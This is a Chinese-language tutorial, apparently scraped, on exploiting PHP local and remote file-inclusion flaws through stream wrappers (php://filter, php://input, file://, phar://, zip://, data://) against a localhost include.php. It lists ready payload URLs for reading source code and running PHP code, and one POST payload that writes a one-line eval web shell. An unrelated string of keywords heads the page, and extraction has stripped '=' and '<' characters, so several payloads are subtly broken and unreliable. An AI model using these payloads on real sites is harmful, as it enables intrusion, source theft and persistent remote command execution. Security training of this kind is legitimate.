关于加强政务网站建设的通知,龙岗网站的建设,不错吧源码论坛,wordpress 批量添加用户权限php.ini参数设置
在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件#xff1b;
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件#xff1b; 各协议的利用条件和方法 php:/…php.ini参数设置
在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件 各协议的利用条件和方法 php://input
php://input可以访问请求的原始数据的只读流将post请求的数据当作php代码执行。当传入的参数作为文件名打开时可以将参数设为php://input,同时post想设置的文件内容php执行时会将post内容当作文件内容。
注当enctype”multipart/form-data”时php://input是无效的。 file://
用于访问本地文件系统。当指定了一个相对路径不以/、、\或 Windows 盘符开头的路径提供的路径将基于当前的工作目录。
用法 1 2 3 4 1、file://[文件的绝对路径和文件名] http://127.0.0.1/include.php?filefile://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt 2、[文件的相对路径和文件名] http://127.0.0.1/include.php?file./phpinfo.txt http://、https://
URL 形式允许通过 HTTP 1.0 的 GET方法以只读访问文件或资源通常用于远程包含。
用法 1 [http//网络路径和文件名]http://127.0.0.1/include.php?filehttp://127.0.0.1/phpinfo.txt
php://
php:// 用于访问各个输入/输出流I/O streams经常使用的是php://filter和php://inputphp://filter用于读取源码php://input用于执行php代码。 协议 作用 php://input 可以访问请求的原始数据的只读流在POST请求中访问POST的data部分在enctypemultipart/form-data 的时候php://input 是无效的。 php://output 只写的数据流允许以 print 和 echo 一样的方式写入到输出缓冲区。 php://fd (5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 php://memory php://temp (5.1.0)一个类似文件包装器的数据流允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中而 php://temp 会在内存量达到预定义的限制后默认是 2MB存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 php://filter (5.0.0)一种元封装器设计用于数据流打开时的筛选过滤应用。对于一体式all-in-one的文件函数非常有用类似 readfile()、file() 和 file_get_contents()在数据流内容读取之前没有机会应用其他过滤器。 php://filter参数详解 参数 描述 resource要过滤的数据流 必须项。它指定了你要筛选过滤的数据流。 read读链的过滤器 该参数可选。可以设定一个或多个过滤器名称以管道符(|)分隔 write写链的筛选列表 该参数可选。可以设定一个或多个过滤器名称以管道符(|)分隔 ; 两个链的过滤器 任何没有以 read 或 write 作前缀的筛选器列表会视情况应用于读或写链。 可用的过滤器列表4类 字符串过滤器 作用 string.rot13 等同于str_rot13()rot13变换 string.toupper 等同于strtoupper()转大写字母 string.tolower 等同于strtolower()转小写字母 string.strip_tags 等同于strip_tags()去除html、PHP语言标签 转换过滤器 作用 convert.base64-encode convert.base64-decode 等同于base64_encode()和base64_decode()base64编码解码 convert.quoted-printable-encode convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress bzip2.decompress 同上在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法 读取文件源码用法 1 2 php://filter/readconvert.base64-encode/resource[文件名] http://127.0.0.1/include.php?filephp://filter/readconvert.base64-encode/resourcephpinfo.php 执行php代码用法 1 2 3 4 php://input [POST DATA] http://127.0.0.1/include.php?filephp://input [POST DATA部分] ?php phpinfo(); ? 写入一句话木马用法 1 2 3 http://127.0.0.1/include.php?filephp://input [POST DATA部分] ?php fputs(fopen(shell.php,w),?php eval($_GET[cmd]); ?); ? phar://、zip://、bzip2://、zlib://
用于读取压缩文件zip:// 、 bzip2:// 、 zlib:// 均属于压缩流可以访问压缩文件中的子文件更重要的是不需要指定后缀名可修改为任意后缀jpg png gif xxx 等等。 用法示例 1 phar://http://127.0.0.1/include.php?filephar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt data://
数据流封装器以传递相应格式的数据。通常可以用来执行PHP代码。
示例用法 1 2 3 4 5 1、data://text/plain, http://127.0.0.1/include.php?filedata://text/plain,?php%20phpinfo();? 2、data://text/plain;base64, http://127.0.0.1/include.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b